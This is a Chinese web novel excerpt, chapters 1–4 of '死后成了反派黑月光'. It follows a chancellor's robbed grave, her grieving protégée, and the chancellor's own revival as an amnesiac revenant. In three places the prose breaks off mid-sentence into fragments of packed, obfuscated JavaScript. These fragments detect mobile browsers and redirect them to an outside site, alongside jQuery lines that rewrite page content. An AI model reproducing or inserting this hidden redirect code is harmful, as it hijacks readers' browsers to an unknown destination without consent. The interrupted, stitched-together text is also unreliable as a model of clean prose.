《死后成了反派黑月光》
1. 掘墓
“轰隆!”
深夜,安湘城的上空电闪雷鸣,不一会就下起了倾盆大雨,雨水打在泥地中溅起了浓郁的土腥味。
就在如此恶劣的环境中,仍然有三个盗墓贼顶着暴雨和惊雷在安湘城外的山上挖人家的坟。
这是三个被赌债逼到走投无路的亡命之徒,传闻安湘城外的这座山上葬着一个大官,她死时陪葬了不少金银珠宝,每天都有官差在附近巡逻,若非这场暴雨,三个盗墓贼还没有动手的机会。
很快棺材就露出来,盗墓贼将钉棺材盖的钉子撬了出来,暴雨砸在棺材上传来噼里啪啦的声响,然而渐渐的,一道怪异的声音在雨声中若隐若现地响起。
“老大,你听这是什么声音?”刚准备一起开棺木的矮胖盗墓贼忽然停下的动作,他屏息凝神,示意其他两个人跟自己一起听。
“咚咚、咚咚咚……”
“咚咚咚!”
那是敲击木板的声音,而声响的来源正是他们即将打开的这个棺木。
而这口棺木已经在地下埋了许多年,里面的人早就应该化为了白骨!
“鬼啊!!!”
凄厉的声音回荡在山上,本就做贼心虚的三道身影连滚带爬地冲下山。
孤零零暴露在暴雨中的棺木安静了一会,随后伴随着一阵让人毛骨悚然的咯吱声,棺盖挪开了一道小缝。
“轰隆!”又一道惨白的雷光划过,震耳欲聋的轰鸣似乎将山上的一些碎石都震了下来。
风雨似乎又变大了,不出片刻的功夫,就有许多雨水顺着那敞开的缝隙进入棺材里。
“鬼”又默默地将棺材板盖严实了。
这场暴雨持续了整整一夜,直到第二天天将亮的时候,风雨才停歇下来。
负责在墓边巡逻的官差照常上山,这份清闲的差事七年如一日,所有人都懈怠了下来,因此雨夜无人留守。
谁曾想只是这一夜的功夫,守了七年的坟被人刨开了!棺盖被打开,里面的尸体不翼而飞,周围有野兽的脚印,也不知尸体是不是被哪个畜生叼走了!
天才刚刚微亮,这个噩耗就传遍了安湘城,知府听完后差点晕了过去,最后他撑着半口气带人冲到山上想要将那里封锁起来,不让消息透露出去。
可惜当他跑上山的时候,那边已经有人了,知府认识对方,那是陛下的眼线,她来这里就意味着事情瞒不住了。
他知道自己完了,肥胖的身躯往地上一瘫,几个人都没能把他搀扶起来。
这里的墓非常特殊,别看修的简单,但是里面躺着的人却是当今陛下的恩师,前丞相黎栎笙,当年这位黎相为了保护陛下被逆王乱党所害,陛下痛哭数日,亲自为恩师扶棺葬于此地,陛下离开前留下旨意,安湘历任知府皆需看护此墓。
如果这件事情传到京中,陛下必会龙颜震怒。
那些早一步到达墓前的人群中央,有一位身着墨青衣衫的女子,在暗沉天色的映衬下,她衣摆的鎏金云纹也失去了光泽,恰如女子本人那般肃穆阴沉。
她手里拿着一串佛珠,每碾过一颗佛珠时她似乎都用了极大的力气去克制,以至于佛珠间发出了“吱呀”的哀鸣。
眼前的景象有些凄惨,棺盖被扔在一边,因为刚刚又下了一场小雨,棺材里面混入了许多泥水,陪葬品不翼而飞,最关键的是尸体不见了。
泥泞的土地上还有一些新鲜的野兽脚痕,老虎、狼之类的野兽都有,所以也不知道尸体是被盗墓贼扔掉了,还是被那些饿急了眼的野兽拖走了。
没人敢说话,甚至脚步声都放得极轻。
闻釉崖盯着狼藉的棺材,不知何时,神情有些涣散的眼眸中已经攀上了血丝,暴雨毁掉了大部分脚印和拖拽痕迹,这么多人查到现在一点头绪都没有。
谁能想到呢,曾经权势滔天、那样惊艳绝伦的人在死后连尸骨都遭野兽分食。
是报应吗?
是报应,是她利用自己的报应。
“家主,我们的人将附近都搜了一遍,但仍然没有找到黎相的尸身……”来汇报的人战战兢兢,声音都格外小,也不知道闻釉崖听没听到。
“只在不远处看到了这个,可能是盗墓落下的。”下属恭敬地双手呈上一块脏兮兮的物件。
闻釉崖那布满血丝的眸子终于动了动,随后视线落在了那沾着泥土的长命银锁上。
她接过来后用指尖一遍一遍摩挲着长命锁的表面,将上面的脏污擦去了一些,露出下面的花纹。
这是她们相见的第一年,黎栎笙让工匠为自己打造的礼物,但它早就丢了,却没想到出现在了这里,让人看着就觉得极其讽刺。
闻釉崖仿佛还能听见那个人将这块长命锁赠给自己时温柔的话语,伴着除夕的烟火与喧闹,她道:“我的釉崖,你要平平安安,长命百岁。”
可她也是用这样温柔的语调,送自己去死。
世人皆知当今女帝登基前险象环生,逆王动用了所有手段想要杀她,最后是黎栎笙以命相救,女帝才能活着登基。
但世人不知,黎相可没打算死,她早就算计好了,本该替死的是一把她亲手打磨锋利的刀,可是黎栎笙聪明反被聪明误,踏入了逆王的陷阱,这才落了身死的下场。
闻釉崖知道自己被送去替死时,曾想过无数种报复的手段,只要自己能活着回来,一定会让那位高高在上的黎相付出代价,可是黎栎笙死了……
她静静地躺在血泊中,看向自己的最后一眼中含着似有若无的泪光。
闻釉崖记了整整七年,她逼迫自己忘记,可看到这被人破坏的棺木后她又想到了黎栎笙身死的那个雨夜,闻釉崖只觉得自己的额角一抽一抽的疼,不得不扶着墓碑才能站稳。
“黎栎笙,你一辈子机关算尽,可曾算到过自己死后会遭野兽啃食,尸骨无存吗?”她的声音里透着恨意与凄凉,扶着墓碑的手用力收紧,泛白的指节下渗出了殷红的血。
天上又落下了雨珠,雨水冷的厉害,透着森森寒意,就像刀子刮过骨头,让她消瘦的肩膀微微颤抖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168987|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>下属为她撑起了伞,可是被风刮起的雨还是浸湿了她的衣摆。
在没有任何人发出声音的压抑搜寻中,后方忽然传来了一道焦急的汇报声。
“家主!陛下派人来了,请您回去一趟!”
如同枯木般伫立在那里的人终于动了动,她微垂的眼尾带着浓郁的暮气,似是无法归林的倦鸟,闻釉崖松开扶着墓碑的手,任由鲜血从指尖滑落。
“走吧。”闻釉崖失了血色的唇微动,声音越发沙哑,不过语气还算平稳,“其他人继续找,把她的尸骨找出来……给陛下一个交代。”
她转身朝山下走去,有些踉跄的步伐间似乎未有留恋。
为她打伞的郑筱赶忙快步跟上,雨越发大了,而且下山的路不好走,一夜的暴雨让泥泞的地非常湿滑。
郑筱劝闻釉崖走慢一些,但是对方似乎没有听到自己的声音,她小心翼翼地打量着家主的脸色,早上噩耗传来的时候,家里知道当年那些事情的人都害怕她会承受不住。
但万幸的是,或许因为过去了那么多年,家主想开了吧,她接到消息之后一直冷静地安排人手处理所有事情,到现在为止都没有像当年那样崩溃的预兆。
可不知为什么,郑筱心中总有些不安。
“叮铃……”在幽寂的山间,不知是何方道士摇起了招魂铃,铃铃作响的声音听着既应景又渗人。
郑筱只觉得山里莫名多了一丝连内力都抵御不了的阴冷,而当她们走下山的时候,远处若隐若现地传来哀戚的哭声。
闻釉崖的步伐慢了下来,郑筱隐隐感觉不好,此时她再想劝家主快一些回去已经来不及了。
闻釉崖朝那招魂铃响起的方向走去,随着她们渐渐靠近,哭声中夹杂的说话声也清晰起来。
“唉,真惨啊,昨夜的雨太大,让吴家好好的坟塌了,万幸吴老大的尸骨没有被野兽叼走,不然可就真作孽了。”
“是哟,要是尸身不全,死的人就要变成孤魂野鬼,永世不得超生了啊,就算下了地府都得遭鬼欺负,还好吴家人发现的早……”
道士在念着往生经,繁涩拗口的经文让闻釉崖一点一点想起被她刻意遗忘的、小时候经常听老人们提起的传闻。
留不下全尸的人会变成孤魂野鬼,永世不得超生,就像山上那个尸骨无存的人。
她脑海中那根紧绷的弦忽然断了。
闻釉崖踏出的步伐开始有些晃,不知为何,她感觉自己好像踩在了棉花上,有些力不从心,耳畔也开始传来嗡嗡作响的耳鸣声,将那些人叹息的声音盖了过去。
没走出几步,她早已麻木的心脏中忽然传来越来越强烈的痛楚,闻釉崖感觉自己口中似有液体涌了出来,她低头一看,地上有了许多血迹。
“家主!!!”
悄然出现的暗卫立刻接住了她倒下的身体。
闻釉崖的视野已然黑了下去,在最后的意识中,下属焦急的呼唤声似乎远在天边,只有耳畔不祥的雨声愈发大了起来,就好似黎栎笙死去的那一晚。
2. 梦魇
黎栎笙死后,雨夜就成了闻釉崖这辈子挥之不去的梦魇。
耳边的雨声越发清晰,似乎裹挟着闻釉崖的意识回到了她想要遗忘的过往,那些事情如同走马灯般在她的脑海中划过,闻釉崖不知道自己是真的要死了,还是在陷入了梦中。
她年幼时,在位的先帝是一个只知修道炼丹的昏庸之主,朝堂之上贪官横行,地方上横征暴敛,那一年恰逢蝗灾,她的家乡饿殍遍野,为了活命,她的父母被迫带着家里的几个孩子开始了逃荒之路。
原本她的父母打算投奔远在外地的亲戚,可九死一生逃到亲戚家的村庄后却发现这里遭遇了旱灾,那户亲戚早就搬离,不知道是不是也去逃荒了。
那时候自己一家已经饿了好几天,村子附近的树皮都被快要饿死的百姓扒了干净,眼看着一家人就要饿死在这里,不远处的城镇传来了好消息,说朝廷的赈灾粮下来了,当地官员正在施粥赈灾。
父母听到这个好消息后立刻带着快要饿死的几个孩子赶到了那个城,那边的官员确实在施粥,只不过那粥里的米没有几粒,大部分都是沙子。
在当时那种环境下,丧良心的官员并不少见,可是百姓无处能讨公道,想要活下去就得另谋生路。
那年的年成不好,天灾人祸太多,到处都是逃荒的灾民,也不知道是谁在灾民中流传出了这样一句话,皇帝所在的京城是整个燕国最繁华的地方,那里有许多富商大官,从人家后门倒出来的泔水都足够他们这些灾民活命。
抱着这样的希望,闻家一家开始往京城走,但是他们不知道这条路有多难多远,家人一个个或饿死或病死在路上,等好不容易到了京城,那边却关上城门禁止灾民进入。
闻釉崖走到这个地方的时候已是孤身一人,小小年纪的她还来不及抱着父母的尸体痛哭,就被同行的好心妇人拽着往京城的城门走,灾民那么多,晚一步都可能抢不到吃的,却没想到官员们为了防止灾民的事情闹到皇帝那,不仅关了门还直接动用军队驱逐。
几岁大的孩子在兵荒马乱中和那位好心的妇人走散,她不知道城内发生了什么,只知道灾民们在逃命,自己也得逃。
但小小年纪的她分不清方向,既不知道自己跑到了哪里,也找不到父母尸身所在的地方,饥饿让她眼前发黑,更不幸的是那天同样下了一场大雨。
无助的她走着走着就倒在了一处破败的房屋边,她甚至没有力气爬进屋子里躲躲雨,只能任由冰冷的雨水打在身上,将她身体里的最后一丝温度带走。
但在她的意识开始模糊的时候,耳边却传来了铁器碰撞的声音。
她努力睁开眼想要求救,结果却看到了更加可怖的杀人现场。
一群黑衣人在雨中围着一个身穿蓑衣的人,黑衣人手中的剑与刀闪烁着寒光,而那个蓑衣人的手中只拿着一把青伞,这样看起来她似乎身处劣势。
可真打起来后,内行人才能发现那把伞中含着各种暗器,是一把确确实实的杀人利器!
不过片刻的功夫,蓑衣人就将所有敌人尽数杀死,鲜血染红了这条街。
随后蓑衣人的目光看向了倒在墙角的自己,小时候的她很害怕,怕这个蓑衣人会杀了自己。
但是现如今在这如同走马灯的记忆中,闻釉崖看着那逐渐靠近的身影,心目中只剩悲戚与恨。
蓑衣人的步伐越来越快,甚至带上了一丝急切,她那把用来杀人的青伞帮倒在地上的孩子遮住了雨,那略有一些薄茧的手擦去闻釉崖脸上的雨水。
“终于找到你了。”
闻釉崖听到了她的呢喃,小时候第一次见面时黎栎笙说过这句话吗?她已经不记得了,应该是没说过吧,毕竟就算黎栎笙再老谋深算,也不可能在见面之前就算到自己一个从乡下逃难过来的小孩有可用之处。
记忆中的黎栎笙解开了蓑衣将她抱在了怀里,毫不在意她身上的湿透了的脏衣服。
“釉崖……”黎栎笙的声音里带着一丝哭腔。
闻釉崖的指尖颤了颤,她第一次听到那个人哭泣的声音,心脏深处传来的疼痛感不受控制地扰乱她的恨意。
她抬起头,想看清那张让自己又爱又恨的脸,可在看清那张脸的瞬间,闻釉崖的神情骤然怔愣住。
曾经的美人如今只剩下枯骨,可闻釉崖没有任何害怕的情绪,她甚至颤抖着手抚上枯骨。
黎栎笙已经死了,坟被人刨开,现如今尸骨无存甚至可能会变成孤魂野鬼,所以她终于来找自己了?
“釉崖,我好疼,山里好黑啊,到处都是野兽……”枯骨凄哀的哭声让闻釉崖只感觉自己喉间泛涌着血腥味。
闻釉崖本以为自己能够讥讽黎栎笙活该,当初她如果没有把自己送去替死,那么留在黎栎笙身边的自己拼了这条命也不会让她受伤,所以如今的一切都是她自找的。
可真当她的孤魂入梦,听着她抱着自己说疼,闻釉崖的双唇颤抖着,终究只用嘶哑的声音问:“你在哪?告诉我,我去把你的尸体找回来。”
但哭声未散,怀中的枯骨却像失了力气般滑落。
“黎栎笙!”闻釉崖慌了神,她试图抱紧枯骨,却一下子扑了空。
再睁眼,入目是熟悉的卧房,怀中那冰冷的枯骨消失不见,只余心口留下像是被剜出一个空洞的痛意。
在她的卧房中,一个衣着朴素的女子抱着剑靠在墙边守了许久,听到床边有动静,她这才睁开眼睛,那眼底一闪而逝的锋芒预示着她绝不是一个普通人。
“闻釉崖,好久不见,陛下这次命我前来……”乌宵月刚准备转述皇帝的旨意,结果就见那消瘦的身影趴在床边呕出了一口血。
她们很多年没见过面了,乌宵月没想到再次相见,闻釉崖会是这么一副病得快死的模样。
乌宵月的神情凝重起来,她立刻对外面守着的人道:“府医在哪!”
大夫根本不敢走远,就留在隔壁开药方,听到声音后立刻赶了过来,屋内一阵兵荒马乱,郑筱用手帕擦拭闻釉崖嘴角的血,看起来都快哭了。
闻釉崖在缓过来一口气后顾不上乌宵月在场,直接让自己的影卫出来回话。
“找到她了吗?”闻釉崖的脸色白到几乎透明,黎栎笙在梦中的哭声仿佛还回荡在她的耳畔。
“属下无能,暴雨之后很多痕迹被冲刷掉了,正常来说那位大人的尸骨对盗墓贼无用,只可能是被野兽拖走的,但山里太大野兽又多,不好分辨……”
郑筱真的要被那木头回话气哭了,家主才刚醒,这时候怎么能说这种实话?!
“一群废物!”
家主果然生气了!
除了乌宵月之外的所有人都噤若寒蝉,闻釉崖拂开大夫想要为自己施针的手,勉强撑着身体想要坐起身,看样子是想亲自去找。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168988|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的下属们不好强行阻拦,幸好这里还有一个能说得上话的乌宵月。
乌宵月上前两步将人按在了床上,“黎相的事情交给我去找吧,外面下着大雨,你现在这样子去了也只能添乱。”
闻釉崖的脸色白得吓人,冷汗一滴滴从额头滑落,碎发紧贴在脸颊上,她撑在床上的胳膊都有些微微颤抖。
就连乌宵月都露出了一丝怜悯的神情,“放心吧,我就算把山上那些野兽的肚子全部剖开,也会把黎相的尸身寻回来的,不然我也没办法回去向陛下交代。”
乌宵月是昭武卫的禁军副指挥使,手中掌握着皇帝的暗枢司,专门负责替皇帝处理一些不好见光的事情。
她此次前来肯定不是孤身一人,要是她和暗枢司都找不到黎栎笙的尸体,那其他人就更别想找到了。
“有劳。”闻釉崖的声音中透着难以掩饰的虚弱。
乌宵月在那儿纠结了好一会后才道:“那你好好休息,我先带着人去山上找。”
“等等。”闻釉崖喊住了她,那双带着些许血丝的双眸沉沉地与乌宵月对视。
“陛下多年没有旨意过来,这次是有什么事情想让我去做吗?”闻釉崖对帮女帝没什么兴趣,但乌宵月似乎不打算继续说的态度引起了她的怀疑。
“你身体都这样了,就先好好休息吧,陛下嘱咐的事情可以让别人去办。”乌宵月看出闻釉崖不但没能从黎栎笙的事情中走出来反而越陷越深,按照陛下的叮嘱,这件事情要换人去做。
“和黎栎笙有关系?”闻釉崖几乎一眼就看穿了她想要藏起来的隐情。
乌宵月沉默片刻后叹了口气,她知道瞒不住了,一旦开了个头,闻釉崖的势力也很快能查到她想要的答案。
“不久之前,陛下接到密报,有人在安湘城附近查到了一支秘密军队,这里离端王、赵王、庆王的领地都很近,不知哪位有谋反的心思,其次……”乌宵月顿了顿,对闻釉崖来说,她接下来的这句话或许才是最重要的。
“当年逆王杀害黎相时,这支队伍曾在附近出现过,黎相之死……或许另有隐情。”
“但是对方非常警惕,暗枢司的人皆无功而返,陛下希望你能帮忙调动附近的势力查一下线索。”
乌宵月说罢还给府医使了个眼色,示意她随时准备稳住闻釉崖的身体状况,府医也在严阵以待。
黎相死后,闻釉崖接手了她在江湖上的势力,并拒绝了陛下邀她入朝为官的提议,这些年在闻釉崖的经营下,归月山庄比以前更深不可测,那三王的封地又正好在归月山庄的势力范围内,暗枢司查不到的事情或许可以让这位试试。
只是她没想到会遇到这样的乱子,让闻釉崖的身体一下子就垮了,她真怕对方受不住出什么意外。
乌宵月担忧的场景并没有出现,但坏消息是情况似乎更加糟糕了。
只见那沉默良久的人双肩微微耸动,最后竟发出让旁人心中发寒的沙哑笑声,“原来还有漏网之鱼,仇人还活着,尸身又不知所踪,难怪她会回来找我。”
她的话音落下,所有人都不禁打了个寒颤,背后好像有阴风吹过。
就连见惯了大场面的乌宵月都感觉头皮一阵发麻,黎相回来找她了?那不就是鬼……不、应该只是接连发生的事情对闻釉崖的打击太大了。
相比于冤魂归来,乌宵月更相信是闻釉崖快疯了。
3. 失忆
外面的雨又下大了,但是山间搜寻的队伍不敢有丝毫懈怠。
他们一寸一寸地搜索可疑的痕迹,而山洞里某个可疑的人抱着自己的湿衣服有些忐忑不安。
“那个……在我脑袋里说话的那位,你还在吗?”
回答那个女人的是一片寂静,看来是不在了。
她叹了口气,此时山洞外灌进了一股冷风,冻得她打了好几个喷嚏。
奇怪,僵尸也会冻感冒吗?
女人靠在硌人的石壁上看向洞外磅礴的大雨,水珠从她苍白的脸颊滑落,随后落入领口深处。
山洞内非常昏暗,只有几缕光透过藤蔓照射进来,落入那温柔的杏眼中,只是那微弱的光无法穿透她眼底如雾般的迷茫。
除了脸色有些苍白外,女人看似和常人无异,但仔细看去就能发现她的胸口没有起伏。
她没有呼吸,也没有心跳,她甚至不记得前尘往事,就连黎栎笙这个名字都是她刚刚才想起来的。
黎栎笙只觉得自己好像睡了很久很久,直到被外面咚咚的敲击声吵醒,一醒来她就发现自己被困在了一个狭小封闭的地方,黎栎笙正想向外面的人求助,结果她刚敲了敲木板,外面就传来了仿佛杀猪一样的惨叫声。
幸好那三个盗墓贼在逃跑之前帮她把棺材上的钉子撬开了,不然她还不知道该怎么出来。
但当时的雨太大了,黎栎笙不得不在棺材里又躲了一阵,直到雨停她才从里面爬出来。
那时候天边才刚刚浮现一抹白光,树林间万籁俱寂,连鸟叫虫鸣声都没有,她站在自己的棺材旁,脑海中一片空白。
她不知道自己是谁,不知道自己的过去,也不知道自己为什么会死,又为什么能再次苏醒。
黎栎笙站在棺材边踌躇了许久,她不知道离开棺材的自己能去哪里。
好在她看到自己那一身华贵的殓服以及价值连城的陪葬品后,认知中关于金钱的部分逐渐复苏,出门在外,不管买什么东西都要钱,没有钱寸步难行,而这些陪葬品可以换很多很多钱,刚刚那三个人来撬自己棺材的应该就是盗墓贼,他们也是冲自己的陪葬品来的。
想到这一点后,黎栎笙立刻将自己的陪葬品全部打包起来,自己想要在外面安身立命少不了这些东西的帮助,可不能便宜了外人。
整理陪葬品的时候,她发现了一枚看似最不值钱的银质长命锁,这个东西应该换不了多少钱,但不知道为什么,黎栎笙看到这枚长命锁时,她的心中莫名升起了一丝悲伤的情绪。
【叮咚!】
就在黎栎笙握着长命锁发呆的时候,她的脑海中竟出现了一道电子音。
黎栎笙被吓了一跳,或许是生前的习惯吧,她越慌张就会表现得越冷静,她紧紧地攥着长命锁扫视四周,发现什么东西都没有。
【可终于联系到你了,醒过来的感觉怎么样?你做了那么多任务,还是第一次当僵尸吧?哼,我都不知道该说你什么好。】
【算了,时间紧迫,我长话短说。】
【看在共事那么多年的份上,我给你申请了一个复活的机会,只要反派的黑化值清零你就能活,不然一年后你就继续躺棺材板吧!】
那道声音没有恶意,好像是从自己脑袋里冒出来的,甚至还让自己感到熟悉,黎栎笙渐渐放松下来,对于那道声音,她的思绪中甚至蹦出来两个字——傲娇。
【因为你之前任务失败,我已经和你解绑了,主神给我分配了新的宿主,现在没办法帮你,主神对你改了祂老人家的剧本非常不满意,我虽然帮你争取到了任务,但祂不许任何系统来帮你,只给你留了一个检测程序,反派黑化值波动的时候会给你提示。】
【接下来你只能自己加油了,不过像我这样完美的系统毕竟是少数,别的系统来了也只能拖你后腿,还不如你自己来。】
【在你死后,反派虽然没有对主角动手,但是她的黑化值飙升到了一个非常危险的临界点,你好好想想怎么处理吧,就这样,希望下一次还能看到活蹦乱跳的你。】
脑海中的声音叭叭说个不停,根本不给黎栎笙说话的机会,它走得也干脆利落,可能真有什么急事吧,所以也没听到黎栎笙茫然的询问。
“请问你是哪位?系统是什么?你说的反派和黑化值又是什么?”黎栎笙还有许多问题想问,比如说自己是谁,自己死前发生了什么……但唯一能为自己解惑的声音消失无踪。
她摸了一下自己的心口,心脏果然没有跳动,所以自己现在就像对方说的那样是一个僵尸,而非活人。
黎栎笙将刚刚那个系统说的话总结了一下,自己现在能苏醒状态只是暂时的,而且只有一年的时间,如果不能找到对方口中的反派,并且将什么黑化值降低,那么一年之后自己就会真正死去。
而如果成功了,那自己就能变成活人?
反派、黑化值……黎栎笙也感觉这些词非常熟悉,她雾蒙蒙的脑海中隐隐有相关认知出现,就在她忍着头痛仔细回想时,远处忽然传来了凌乱且密集的脚步声。
如果自己是僵尸的事情被普通人发现会怎么样?在紧急情况下,黎栎笙的反应比刚刚快了一点,脑海接连冒出了她想要的答案。
那些人大概会找道士用桃木剑把她钉树上,撒点糯米黑狗血,再把自己一把火烧了。
意识到后果严重,黎栎笙立刻抱着自己的陪葬品往山林深处躲去,只是没想到在慌乱之间,被她放在陪葬品最上面的长命锁不小心滑落到地上。
变成僵尸之后,虽然黎栎笙的脑袋一时有些不大灵光,但身体的灵活度和感知力都超乎寻常的高,她在山林中穿梭着,没一会的功夫就在某个狭隙间找到了隐蔽的山洞。
她用旁边的草木藤蔓做了遮掩,确定没人能发现后,黎栎笙就藏进了山洞里。
那时搜寻的队伍还没有到这边,黎栎笙所在的地方还算安全,于是她开始在山洞里清点自己的家当,自己的陪葬品都是一些金银玉器,拿着比较方便,但她点着点着,就发现长命锁不见了。
那是一块不怎么值钱的长命锁,丢了也就丢了,但不知道为什么,黎栎笙总觉得不会跳的心脏里有种空落落的感觉。
于是她做了一个冒险的决定,在确定外面没有人后黎栎笙鬼鬼祟祟地原路返回,看看路上有没有自己遗落的长命锁,可惜她去晚了一步,自己遗落的长命锁被一个陌生人捡走了,黎栎笙只能哀怨地躲在石头后面盯着对方。
她想过把长命锁偷回来,不、那本来就是自己的陪葬品,怎么能叫偷呢?那应该叫拿回来,可是那边的人太多了,自己出去肯定会暴露。
黎栎笙微微敛眸,这具身体的一些本能还在,她可以轻松感知到这个地方至少有上百号人在把守,其中有不少内力深厚的人,暴露就麻烦了。
就在她犹豫的时候,那群人的搜寻范围不断扩大,天空中又下起了雨,黎栎笙不得不重新返回山洞,但因为雨下得太急,她回到山洞的时候已经湿透了。
黎栎笙只能等这场雨停了之后再出去,她望着灰蒙蒙的天空,努力回忆自己的过去,许久之后她才想起自己的名字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168989|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,紧接着一些常识认知也慢慢浮现在她的脑海中。
只可惜她努力回忆到现在,也没有想起关于过去的丝毫线索,对那反派的身份更是一无所知。
黎栎笙又重重地叹了口气,看来只能等离开这个地方后去人群中碰碰运气了。
这场雨又下了整整一天,外面偶尔会有搜查的人路过,但是都没有发现这边的山洞,没过多久,外面只剩下淅淅沥沥的雨声,黎栎笙靠在山洞里不知不觉间睡着了,迷迷糊糊间,她好似听到一道熟悉的声音,哀戚地喊着:“姐姐。”
黎栎笙骤然惊醒,那声音中的悲伤让她感觉头痛欲裂。
“嘶……”黎栎笙捂着额头缓了好一会才看向洞外,雨停了,天才蒙蒙亮,现在应该是外面那群搜寻队伍最疲倦的时候,适合自己绕开他们去往山下。
黎栎笙打包好自己的陪葬品离开山洞,果然那群人还在搜查,也不知道他们在查什么,大晚上顶着大雨都不能停,有点可怜。
黎栎笙选了一条人最少的方向下山,她以为这一边会比较安全,却没想到碰到了一个持剑的女子。
她一看见对方,心中就判定对方实力不俗,自己不能乱动。
可是那个持剑女子忽然停住了脚步,她微微蹙起眉在空气中嗅了嗅,然后竟然朝黎栎笙所在的方向走过来了!
她是狗鼻子吗?!
眼看着黎栎笙可能藏不住了,万幸在这个时候,远处忽然传来的一声呼喊:“这里有三具可疑的尸体!”
持剑女子脚步一顿,然后立刻朝着传来呼喊声的方向走去。
黎栎笙松了口气,然后趁此机会赶紧下山。
只是刚刚到山脚下,她路过了几家农户,若是有人出门,他们都会用一脸诧异惊恐的目光瞧着自己。
黎栎笙这才意识到在天半黑半亮的时候,一个披头散发浑身湿透、还穿着殓服的人在外面溜达有多吓人。
万幸,她碰到了一个不怕自己的小孩子,黎栎笙用自己的素银簪子和小孩换了一套家中长辈的衣服,她在河边将自己收拾了一下,确定水面倒影中的自己看起来像个活人后才看向不远处的那个城。
她的脑海中没有浮现相关的记忆,但是却对脚下的路有一种莫名的熟悉感,就好似曾经走过很多遍,所以这一路上她没有向任何人打听过,却能不由自主地走到这座安湘城前。
但是黎栎笙遇到了一个颇为棘手的情况,只见不远处的城门口有许多官差,他们一个一个盘查来往的行人,气氛非常严肃凝重,似乎在查什么可疑人士。
见状黎栎笙站在不远处没有靠近,自己身份不明,也没有记忆,要是被当成可疑人士抓起来就不好了。
要是想进去的话,恐怕得换个时间换个方法。
不过……
黎栎笙忽然想到了一个挺重要的问题,也不知道自己死了多久,既然自己对这个地方那么熟悉,那她活着的时候应该在这里待过,万一进去碰到认识自己的人,还不得把对方吓死?
到时候如果引起了恐慌,她会被道士们追杀吗?
黎栎笙只是觉得自己的前路有些渺茫,算了,反正现在也进不去,不如先想一想如果遇到了那样的情况,该如何应对吧。
她转过身准备先寻一个安全能歇脚的地方待着,谁曾想她还没有走远,身后就传来了急促的脚步声。
黎栎笙有些警惕地向后看去,结果她还没看清对方的脸,手腕处就传来了一道大力将她扯得往后一趔趄。
她没有站稳,就这样跌倒在对方的怀里。
4. 相遇
又一个晚上过去了,可山上依旧没有任何消息传过来。
闻釉崖点着灯枯坐了一晚,她盯着烛泪一滴一滴从蜡烛上滚落,直至火苗熄灭,天边泛起了光。
她又披上了衣服,在没有惊动任何人的情况下离开了府邸。
下了两天的雨,天色终于开始放晴,一缕缕阳光照下,似乎洗清了几日的阴霾,周围来往的百姓间掺杂着不少欢声笑语,唯独那道墨青色的身影与周围格格不入。
闻釉崖明白,以乌宵月的能力,一个下午加一个晚上的时间都够她把山上所有野兽的肚子剖开检查,可至今没有任何消息传过来,就预示着情况可能会很棘手。
结合她替女帝传来的口信来看,闻釉崖不得不往最坏的方向去想,所谓盗墓贼可能只是个幌子,真正藏在这件事情背后的或许是逆王党羽,又或是藏在逆王背后的人,他们最恨黎栎笙,借此机会将她的尸身挫骨扬灰也不是没有可能。
若是挫骨扬灰,就算乌宵月有天大的本事也不可能将那人的尸身找回来。
呵……
闻釉崖眼底的阴霾将她自己都没有意识到的凄然神情遮掩。
若真是这样,那自己也无能为力,她已经尽力找了,就当全了黎栎笙收养自己的恩情。
这么多年过去了,她又何必为那个女人劳心伤神,她……只是去看看,去给女帝一个交代,那人毕竟女帝的恩师,如果不处理好,帝王之怒难免会影响到自己这边。
对,就是这样。
闻釉崖在心中呢喃着,仿佛只要这样重复一遍又一遍,心中的空洞就能被填满。
不远处的馄饨摊子上,一个看起来十岁出头的小姑娘往那儿一坐,高声对老板道:“来一碗馄饨!”
老板应了一声,很快就将她的馄饨端了上来。
小姑娘喝了一口汤,舒服地呼出一口气,这两天府中的气氛格外压抑,她都快喘不过气了,今天早上姐姐和其他人应该都去了那边的山上,她这才偷偷溜出来缓口气。
“烫烫烫!”她咬开了一个皮薄肉多像云朵一样的馄饨,结果被烫得嗷嗷直叫。
小姑娘吐出舌头扇了扇风,想要等馄饨凉一点再吃,结果她一抬头竟然发现了远处有一道熟悉的身影!
“家主?!”那道单薄的身影分明是应该躺在床上休息的闻釉崖!
小姑娘看着她离去的方向,又发现她身旁身后都没有人跟着,她意识到可能要出事,于是馄饨也不吃了,赶忙跑回去联络留守府邸的人。
若放在平时,闻釉崖一定能听到那小姑娘脱口而出的“家主”二字,只不过她此时的心神早已不在此处,所以什么都没听到。
城门口的官差都认识闻釉崖,她来到城门口的时候,官差们都自动让出一条道来让她通过。
